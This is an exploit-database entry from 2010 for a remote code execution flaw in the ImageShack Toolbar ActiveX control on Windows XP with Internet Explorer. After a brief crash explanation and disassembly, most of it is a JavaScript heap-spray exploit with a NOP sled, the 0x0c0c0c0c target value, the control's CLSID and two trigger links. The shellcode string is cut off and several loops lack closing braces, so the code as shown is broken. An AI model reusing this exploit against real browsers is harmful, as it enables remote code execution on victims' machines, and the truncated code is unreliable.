ImageShack Toolbar Remote Code Execution Exploit

ID 1337DAY-ID-14917
Type zdt
Reporter Rew
Modified 2010-11-24T00:00:00


Exploit for windows platform in category remote exploits

ImageShack Toolbar Remote Code Execution Exploit

Title: ImageShack Toolbar Remote Code Execution Exploit
Date: Nov 23, 2010
Author: Rew
Email: rew [splat]
Tested on: WinXP - IE 6 & 7
CVE: NA (0day)
Note: This object is NOT marked safe for scripting so the impact of this issue is small.
You'll have to change your ActiveX settings to let it to run.  None-the-less, it's
an interesting crash so meh.  Check it out...
There are actually two vulnerable variable (see bottom of page).  Each should be set to some
integer.  This integer is then stored (in hex) directly in ECX.  Then we see...
--- %PROGRAMFILES%\ImageShackToolbar\ImageShackToolbar.dll ---
05501386: 8B 01   MOV EAX,DWORD PTR DS:[ECX]
05501388: 6A 01   PUSH 1
0550138A: FF 10   CALL DWORD PTR DS:[EAX]
All we have to do is spray the heap and then put something usefull in ECX.  pwnt.
Oh yes, and greetz to my bros in  :3
Any information security firms looking for a knowledgeable, motivated intern?
I sure would love to talk to you.
<object classid='clsid:DC922B67-FF61-455E-9D79-959925B6695C' id='target' /></object>
// calc.exe
var shellcode = unescape(
var nops = unescape('%u0c0c%u0c0c');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while(nops.length < slackspace) {
    nops += nops;
var fillblock = nops.substring(0, slackspace);
var block = nops.substring(0, nops.length - slackspace);
while((block.length + slackspace) < 0x50000) {
    block = block + block + fillblock;
memory=new Array();
for(counter=0; counter<200; counter++){
    memory[counter] = block + shellcode;
var arg1=202116108; // 0x0c0c0c0c in decimal
<a href="javascript:document.getElementById('target').strategy = arg1;">Sploit #1</a><br>
<a href="javascript:document.getElementById('target').target = arg1;">Sploit #2</a>

# [2018-02-27]  #